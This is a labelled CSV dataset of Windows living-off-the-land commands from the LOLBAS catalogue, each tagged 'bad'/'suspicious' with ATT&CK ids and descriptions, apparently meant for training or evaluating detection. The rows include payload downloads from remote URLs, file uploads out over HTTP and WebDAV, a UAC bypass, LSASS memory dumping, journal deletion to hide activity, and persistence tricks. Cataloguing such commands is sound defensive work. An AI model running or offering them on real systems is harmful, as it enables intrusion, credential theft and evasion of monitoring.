7395b0c3fc932ddc603fbe05,Scriptrunner.exe -appvscript {PATH:.exe},Scriptrunner.exe -appvscript {PATH:.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Scriptrunner.yml,Scriptrunner.exe,Execute,"[""T1202"", {""Execute"": ""EXE""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Executes executable,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
66ab37a1f5497cd1300d8e1a,ScriptRunner.exe -appvscript {PATH_SMB:.cmd},ScriptRunner.exe -appvscript {PATH_SMB:.cmd},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Scriptrunner.yml,Scriptrunner.exe,Execute,"[""T1218"", {""Execute"": ""Remote""}, {""Execute"": ""CMD""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Executes cmd file from remote server,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0eaf4253dde409b8ada5f4d6,regedit /E {PATH_ABSOLUTE}:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey,regedit /E {PATH_ABSOLUTE}:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Regedit.yml,Regedit.exe,ADS,"[""T1564.004""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Export the target Registry key to the specified .REG file.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
71d5db4478122d0095cd4072,regedit {PATH_ABSOLUTE}:regfile.reg,regedit {PATH_ABSOLUTE}:regfile.reg,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Regedit.yml,Regedit.exe,ADS,"[""T1564.004""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Import the target .REG file into the Registry.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
361c14457714fe3bb78d4731,wlrmdr.exe -s 3600 -f 0 -t _ -m _ -a 11 -u {PATH:.exe},wlrmdr.exe -s 3600 -f 0 -t _ -m _ -a 11 -u {PATH:.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Wlrmdr.yml,Wlrmdr.exe,Execute,"[""T1202"", {""Execute"": ""EXE""}]","Windows 10, Windows 11",0.85,False,Execute executable with wlrmdr.exe as parent process,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0eb47523451aec10668a05ac,CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE} {PATH:.txt},CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE} {PATH:.txt},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Certreq.yml,CertReq.exe,Download,"[""T1105""]","Windows 10, Windows 11",0.85,False,Send the specified file (penultimate argument) to the specified URL via HTTP POST and save the response to the specified txt file (last argument).,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3897e3c3f5cbe3ceb579fd09,CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE},CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Certreq.yml,CertReq.exe,Upload,"[""T1105""]","Windows 10, Windows 11",0.85,False,Send the specified file (last argument) to the specified URL via HTTP POST and show response in terminal.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
09a95f722711ed9bbf1ef1c5,cscript //e:vbscript {PATH_ABSOLUTE}:script.vbs,cscript //e:vbscript {PATH_ABSOLUTE}:script.vbs,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Cscript.yml,Cscript.exe,ADS,"[""T1564.004"", {""Execute"": ""WSH""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Use cscript.exe to exectute a Visual Basic script stored in an Alternate Data Stream (ADS).,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c74523c1a9bfc5b16dc4f6ad,CustomShellHost.exe,CustomShellHost.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/CustomShellHost.yml,CustomShellHost.exe,Execute,"[""T1218"", {""Execute"": ""EXE""}]","Windows 10, Windows 11",0.85,False,Executes explorer.exe (with command-line argument /NoShellRegistrationCheck) if present in the current working folder.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
912264579deb2a1b501c59b3,ngen.exe {REMOTEURL},ngen.exe {REMOTEURL},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Ngen.yml,Ngen.exe,Download,"[""T1105"", {""Download"": ""INetCache""}]","Windows 10, Windows 11",0.85,False,Downloads payload from remote server using the Microsoft Native Image Generator utility.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
934e4a75706de420468d4132,eventvwr.exe,eventvwr.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Eventvwr.yml,Eventvwr.exe,UAC Bypass,"[""T1548.002"", {""Application"": ""GUI""}, {""Execute"": ""EXE""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10",0.85,False,"During startup, eventvwr.exe checks the registry value `HKCU\Software\Classes\mscfile\shell\open\command` for the location of mmc.exe, which is used to open the eventvwr.msc saved console file. If the location of another binary or script is added to this registry value, it will be executed as a high-integrity process without a UAC prompt being displayed to the user.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8f9e05cd0d84bc82a57160f1,"ysoserial.exe -o raw -f BinaryFormatter - g DataSet -c ""{CMD}"" > RecentViews & copy RecentViews %LOCALAPPDATA%\Microsoft\EventV~1\RecentViews & eventvwr.exe","ysoserial.exe -o raw -f BinaryFormatter - g DataSet -c ""{CMD}"" > RecentViews & copy RecentViews %LOCALAPPDATA%\Microsoft\EventV~1\RecentViews & eventvwr.exe",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Eventvwr.yml,Eventvwr.exe,UAC Bypass,"[""T1548.002"", {""Application"": ""GUI""}, {""Execute"": "".NetObjects""}]","Windows 7, Windows 8, Windows 8.1, Windows 10",0.85,False,"During startup, eventvwr.exe uses .NET deserialization with `%LOCALAPPDATA%\Microsoft\EventV~1\RecentViews` file. This file can be created using https://github.com/pwntester/ysoserial.net",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
da370d5280c1ba71cc392592,Extexport.exe {PATH_ABSOLUTE:folder} foo bar,Extexport.exe {PATH_ABSOLUTE:folder} foo bar,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Extexport.yml,Extexport.exe,Execute,"[""T1218"", {""Execute"": ""DLL""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,"Load a DLL located in the specified folder with one of the following names mozcrt19.dll, mozsqlite3.dll, or sqlite.dll.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4bbb52eb99aea95e429affab,change.exe user,change.exe user,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Change.yml,Change.exe,Execute,"[""T1218"", {""Execute"": ""EXE""}, {""Requires"": ""Rename""}]","Windows 10, Windows 11",0.85,False,"Once executed, `change.exe` will execute `chgusr.exe` in the same folder. Thus, if `change.exe` is copied to a folder and an arbitrary executable is renamed to `chgusr.exe`, `change.exe` will spawn it. Instead of `user`, it is also possible to use `port` or `logon` as command-line option.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4bfccf0fc61c2ed7d4240169,ilasm.exe {PATH_ABSOLUTE:.txt} /exe,ilasm.exe {PATH_ABSOLUTE:.txt} /exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Ilasm.yml,Ilasm.exe,Compile,"[""T1127""]","Windows 7, Windows 10, Windows 11",0.85,False,Binary file used by .NET to compile C#/intermediate (IL) code to .exe,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5af66da2da2750255d1a8e4f,ilasm.exe {PATH_ABSOLUTE:.txt} /dll,ilasm.exe {PATH_ABSOLUTE:.txt} /dll,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Ilasm.yml,Ilasm.exe,Compile,"[""T1127""]","Windows 7, Windows 10, Windows 11",0.85,False,Binary file used by .NET to compile C#/intermediate (IL) code to dll,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cd18162e6a7572059ad5e1ba,vbc.exe /target:exe {PATH_ABSOLUTE:.vb},vbc.exe /target:exe {PATH_ABSOLUTE:.vb},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Vbc.yml,vbc.exe,Compile,"[""T1127""]","Windows 7, Windows 10, Windows 11",0.85,False,Binary file used by .NET to compile Visual Basic code to an executable.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
17aae0ad6aca26411ecde243,vbc -reference:Microsoft.VisualBasic.dll {PATH_ABSOLUTE:.vb},vbc -reference:Microsoft.VisualBasic.dll {PATH_ABSOLUTE:.vb},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Vbc.yml,vbc.exe,Compile,"[""T1127""]","Windows 7, Windows 10, Windows 11",0.85,False,Binary file used by .NET to compile Visual Basic code to an executable.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5326c296516693810b34898a,DataSvcUtil /out:{PATH_ABSOLUTE} /uri:{REMOTEURL},DataSvcUtil /out:{PATH_ABSOLUTE} /uri:{REMOTEURL},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/DataSvcUtil.yml,DataSvcUtil.exe,Upload,"[""T1567""]",Windows 10,0.85,False,"Upload file, credentials or data exfiltration in general",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5d91ffd8220068e0530f2835,cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:{REMOTEURL:.sct} ^scrobj.dll > {PATH}:payload.bat,cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:{REMOTEURL:.sct} ^scrobj.dll > {PATH}:payload.bat,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Cmd.yml,Cmd.exe,ADS,"[""T1564.004""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Add content to an Alternate Data Stream (ADS).,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2393369cde2b2d0b9ba68b39,cmd.exe - < {PATH}:payload.bat,cmd.exe - < {PATH}:payload.bat,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Cmd.yml,Cmd.exe,ADS,"[""T1059.003""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Execute payload.bat stored in an Alternate Data Stream (ADS).,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5321b44b029bc74ed6d9fdb5,type {PATH_SMB} > {PATH_ABSOLUTE},type {PATH_SMB} > {PATH_ABSOLUTE},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Cmd.yml,Cmd.exe,Download,"[""T1105""]","Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Downloads a specified file from a WebDAV server to the target file.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8b6de716c94f8bb8967fa8d2,type {PATH_ABSOLUTE} > {PATH_SMB},type {PATH_ABSOLUTE} > {PATH_SMB},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Cmd.yml,Cmd.exe,Upload,"[""T1048.003""]","Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Uploads a specified file to a WebDAV server.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6a3d6bd6e93edc4883ac7a05,runscripthelper.exe surfacecheck \\?\{PATH_ABSOLUTE:.txt} {PATH_ABSOLUTE:folder},runscripthelper.exe surfacecheck \\?\{PATH_ABSOLUTE:.txt} {PATH_ABSOLUTE:folder},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Runscripthelper.yml,Runscripthelper.exe,Execute,"[""T1218"", {""Execute"": ""PowerShell""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10",0.85,False,Execute the PowerShell script with .txt extension,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3de0aa497fa9214e6f6aeea6,SettingSyncHost -LoadAndRunDiagScript {PATH:.exe},SettingSyncHost -LoadAndRunDiagScript {PATH:.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/SettingSyncHost.yml,SettingSyncHost.exe,Execute,"[""T1218"", {""Execute"": ""EXE""}]","Windows 8, Windows 8.1, Windows 10",0.85,False,Execute file specified in %COMSPEC%,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
582fbbcaab06b4b5b30afd53,SettingSyncHost -LoadAndRunDiagScriptNoCab {PATH:.bat},SettingSyncHost -LoadAndRunDiagScriptNoCab {PATH:.bat},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/SettingSyncHost.yml,SettingSyncHost.exe,Execute,"[""T1218"", {""Execute"": ""CMD""}]","Windows 8, Windows 8.1, Windows 10",0.85,False,Execute a batch script in the background (no window ever pops up) which can be subverted to running arbitrary programs by setting the current working directory to %TMP% and creating files such as reg.bat/reg.exe in that directory thereby causing them to execute instead of the ones in C:\Windows\System32.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e0e0931fcb65d1c32a0ed703,InfDefaultInstall.exe {PATH:.inf},InfDefaultInstall.exe {PATH:.inf},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Infdefaultinstall.yml,Infdefaultinstall.exe,Execute,"[""T1218"", {""Execute"": ""INF""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Executes SCT script using scrobj.dll from a command in entered into a specially prepared INF file.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9d15fadfadab30e17ef41028,diskshadow.exe /s {PATH:.txt},diskshadow.exe /s {PATH:.txt},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Diskshadow.yml,Diskshadow.exe,Dump,"[""T1003.003"", {""Execute"": ""CMD""}]",Windows server,0.85,False,Execute commands using diskshadow.exe from a prepared diskshadow script.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6e2e215ab01488bb069923f1,diskshadow> exec {PATH:.exe},diskshadow> exec {PATH:.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Diskshadow.yml,Diskshadow.exe,Execute,"[""T1202"", {""Execute"": ""CMD""}]",Windows server,0.85,False,Execute commands using diskshadow.exe to spawn child process,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3ef95a4a33fa1abb91cf3f14,fsutil.exe file setZeroData offset=0 length=9999999999 {PATH_ABSOLUTE},fsutil.exe file setZeroData offset=0 length=9999999999 {PATH_ABSOLUTE},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Fsutil.yml,Fsutil.exe,Tamper,"[""T1485""]","Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10",0.85,False,Zero out a file,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8a1859b4ad18e99cab466dda,fsutil.exe usn deletejournal /d c:,fsutil.exe usn deletejournal /d c:,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Fsutil.yml,Fsutil.exe,Tamper,"[""T1485""]","Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10",0.85,False,Delete the USN journal volume to hide file creation activity,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f2b22541c50281463835236c,fsutil.exe trace decode,fsutil.exe trace decode,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Fsutil.yml,Fsutil.exe,Execute,"[""T1218"", {""Execute"": ""EXE""}]",Windows 11,0.85,False,Executes a pre-planted binary named netsh.exe from the current directory.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
57f727dab95879b2eace3b76,"set ""SYSTEMROOT=C:\Windows\Temp"" && cmd /c desktopimgdownldr.exe /lockscreenurl:{REMOTEURL} /eventName:desktopimgdownldr","set ""SYSTEMROOT=C:\Windows\Temp"" && cmd /c desktopimgdownldr.exe /lockscreenurl:{REMOTEURL} /eventName:desktopimgdownldr",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Desktopimgdownldr.yml,Desktopimgdownldr.exe,Download,"[""T1105""]","Windows 10, Windows 11",0.85,False,Downloads the file and sets it as the computer's lockscreen,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e2ef8863ff238a0dbb8c0efa,"schtasks /create /sc minute /mo 1 /tn ""Reverse shell"" /tr ""{CMD}""","schtasks /create /sc minute /mo 1 /tn ""Reverse shell"" /tr ""{CMD}""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Schtasks.yml,Schtasks.exe,Execute,"[""T1053.005"", {""Execute"": ""CMD""}]","Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Create a recurring task to execute every minute.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4b8bd2561a6a3fc601589406,"schtasks /create /s targetmachine /tn ""MyTask"" /tr ""{CMD}"" /sc daily","schtasks /create /s targetmachine /tn ""MyTask"" /tr ""{CMD}"" /sc daily",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Schtasks.yml,Schtasks.exe,Execute,"[""T1053.005"", {""Execute"": ""CMD""}]","Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Create a scheduled task on a remote computer for persistence/lateral movement,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7c5524aa21d3a7f6e18ac968,"TTDInject.exe /ClientParams ""7 tmp.run 0 0 0 0 0 0 0 0 0 0"" /Launch ""{PATH:.exe}""","TTDInject.exe /ClientParams ""7 tmp.run 0 0 0 0 0 0 0 0 0 0"" /Launch ""{PATH:.exe}""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Ttdinject.yml,Ttdinject.exe,Execute,"[""T1127"", {""Execute"": ""EXE""}]","Windows 10 2004 and above, Windows 11",0.85,False,"Execute a program using ttdinject.exe. Requires administrator privileges. A log file will be created in tmp.run. The log file can be changed, but the length (7) has to be updated.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
988002afee7edf38d33ffe64,"ttdinject.exe /ClientScenario TTDRecorder /ddload 0 /ClientParams ""7 tmp.run 0 0 0 0 0 0 0 0 0 0"" /launch ""{PATH:.exe}""","ttdinject.exe /ClientScenario TTDRecorder /ddload 0 /ClientParams ""7 tmp.run 0 0 0 0 0 0 0 0 0 0"" /launch ""{PATH:.exe}""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Ttdinject.yml,Ttdinject.exe,Execute,"[""T1127"", {""Execute"": ""EXE""}]",Windows 10 1909 and below,0.85,False,"Execute a program using ttdinject.exe. Requires administrator privileges. A log file will be created in tmp.run. The log file can be changed, but the length (7) has to be updated.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3ef54ac11dc1dc40c3411967,stordiag.exe,stordiag.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Stordiag.yml,Stordiag.exe,Execute,"[""T1218"", {""Execute"": ""EXE""}]",Windows 10,0.85,False,"Once executed, Stordiag.exe will execute schtasks.exe systeminfo.exe and fltmc.exe - if stordiag.exe is copied to a folder and an arbitrary executable is renamed to one of these names, stordiag.exe will execute it.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a24671fda4bf0ad8636a8fc5,rdrleakdiag.exe /p 940 /o {PATH_ABSOLUTE:folder} /fullmemdmp /wait 1,rdrleakdiag.exe /p 940 /o {PATH_ABSOLUTE:folder} /fullmemdmp /wait 1,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Rdrleakdiag.yml,rdrleakdiag.exe,Dump,"[""T1003""]",Windows,0.85,False,Dump process by PID and create a dump file (creates files called `minidump_<PID>.dmp` and `results_<PID>.hlk`).,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
452126bd0d05e82b02d3f994,rdrleakdiag.exe /p 832 /o {PATH_ABSOLUTE:folder} /fullmemdmp /wait 1,rdrleakdiag.exe /p 832 /o {PATH_ABSOLUTE:folder} /fullmemdmp /wait 1,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Rdrleakdiag.yml,rdrleakdiag.exe,Dump,"[""T1003.001""]",Windows,0.85,False,Dump LSASS process by PID and create a dump file (creates files called `minidump_<PID>.dmp` and `results_<PID>.hlk`).,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3765ec5c53bd0ef6df135e70,rdrleakdiag.exe /p 832 /o {PATH_ABSOLUTE:folder} /fullmemdmp /snap,rdrleakdiag.exe /p 832 /o {PATH_ABSOLUTE:folder} /fullmemdmp /snap,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Rdrleakdiag.yml,rdrleakdiag.exe,Dump,"[""T1003.001""]",Windows,0.85,False,"After dumping a process using `/wait 1`, subsequent dumps must use `/snap` (creates files called `minidump_<PID>.dmp` and `results_<PID>.hlk`).",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0af96ee39326e845f8e134d1,replace.exe {PATH_ABSOLUTE:.cab} {PATH_ABSOLUTE:folder} /A,replace.exe {PATH_ABSOLUTE:.cab} {PATH_ABSOLUTE:folder} /A,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Replace.yml,Replace.exe,Copy,"[""T1105""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Copy .cab file to destination,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fc086e564e6fd90b012d9937,replace.exe {PATH_SMB:.exe} {PATH_ABSOLUTE:folder} /A,replace.exe {PATH_SMB:.exe} {PATH_ABSOLUTE:folder} /A,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Replace.yml,Replace.exe,Download,"[""T1105""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Download/Copy executable to specified folder,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bfeb69da579ae3fe346e683e,"rmdir %temp%\lolbin /s /q 2>nul & mkdir ""%temp%\lolbin\Windows Media Player"" & copy C:\Windows\System32\calc.exe ""%temp%\lolbin\Windows Media Player\wmpnscfg.exe"" >nul && cmd /V /C ""set ""ProgramW6432=%temp%\lolbin"" && unregmp2.exe /HideWMP""","rmdir %temp%\lolbin /s /q 2>nul & mkdir ""%temp%\lolbin\Windows Media Player"" & copy C:\Windows\System32\calc.exe ""%temp%\lolbin\Windows Media Player\wmpnscfg.exe"" >nul && cmd /V /C ""set ""ProgramW6432=%temp%\lolbin"" && unregmp2.exe /HideWMP""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Unregmp2.yml,Unregmp2.exe,Execute,"[""T1202"", {""Execute"": ""EXE""}]",Windows 10,0.85,False,"Allows an attacker to copy a target binary to a controlled directory and modify the 'ProgramW6432' environment variable to point to that controlled directory, then execute 'unregmp2.exe' with argument '/HideWMP' which will spawn a process at the hijacked path '%ProgramW6432%\wmpnscfg.exe'.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6e62352fccd7efac5818d6a6,wbemtest.exe,wbemtest.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Wbemtest.yml,wbemtest.exe,Execute,"[""T1047"", {""Application"": ""GUI""}, {""Execute"": ""CMD""}]","Windows 10, Windows 11",0.85,False,"Execute arbitary commands through WMI through a GUI managment interface for Web Based Enterprise Management testing (WBEM). Uses WMI to Create and instance of a Win32_Process WMI class with a commandline argument of the target command to spawn. Spawns a GUI so it requires interactive access. For a demo, see link to blog in resources.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4db06afb759305d2d85797ff,wuauclt.exe /UpdateDeploymentProvider {PATH_ABSOLUTE:.dll} /RunHandlerComServer,wuauclt.exe /UpdateDeploymentProvider {PATH_ABSOLUTE:.dll} /RunHandlerComServer,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Wuauclt.yml,wuauclt.exe,Execute,"[""T1218"", {""Execute"": ""DLL""}]",Windows 10,0.85,False,Loads and executes DLL code on attach.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
313190cdf5d12fc3f3c7825b,netsh.exe add helper {PATH_ABSOLUTE:.dll},netsh.exe add helper {PATH_ABSOLUTE:.dll},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Netsh.yml,Netsh.exe,Execute,"[""T1546.007"", {""Execute"": ""DLL""}]","Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,"Use Netsh in order to execute a .dll file and also gain persistence, every time the netsh command is called",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5932d50e5fa69f89fdc7c590,C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe {REMOTEURL:.zip},C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe {REMOTEURL:.zip},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/msedge_proxy.yml,msedge_proxy.exe,Download,"[""T1105""]","Windows 10, Windows 11",0.85,False,msedge_proxy will download malicious file.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
50e34637fef244dc47039d92,"C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe --disable-gpu-sandbox --gpu-launcher=""{CMD} &&""","C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe --disable-gpu-sandbox --gpu-launcher=""{CMD} &&""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/msedge_proxy.yml,msedge_proxy.exe,Execute,"[""T1218.015"", {""Execute"": ""CMD""}]","Windows 10, Windows 11",0.85,False,msedge_proxy.exe will execute file in the background,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5f54570692519bf495161c9f,finger user@example.host.com | more +2 | cmd,finger user@example.host.com | more +2 | cmd,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Finger.yml,Finger.exe,Download,"[""T1105""]","Windows 8.1, Windows 10, Windows 11, Windows Server 2008, Windows Server 2008R2, Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019, Windows Server 2022",0.85,False,"Downloads payload from remote Finger server. This example connects to ""example.host.com"" asking for user ""user""; the result could contain malicious shellcode which is executed by the cmd process.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
619f5b74a068fbea3da17cba,C:\Windows\System32\IME\SHARED\IMEWDBLD.exe {REMOTEURL},C:\Windows\System32\IME\SHARED\IMEWDBLD.exe {REMOTEURL},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/IMEWDBLD.yml,IMEWDBLD.exe,Download,"[""T1105"", {""Download"": ""INetCache""}]","Windows 10, Windows 11",0.85,False,"IMEWDBLD.exe attempts to load a dictionary file, if provided a URL as an argument, it will download the file served at by that URL and save it to INetCache.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
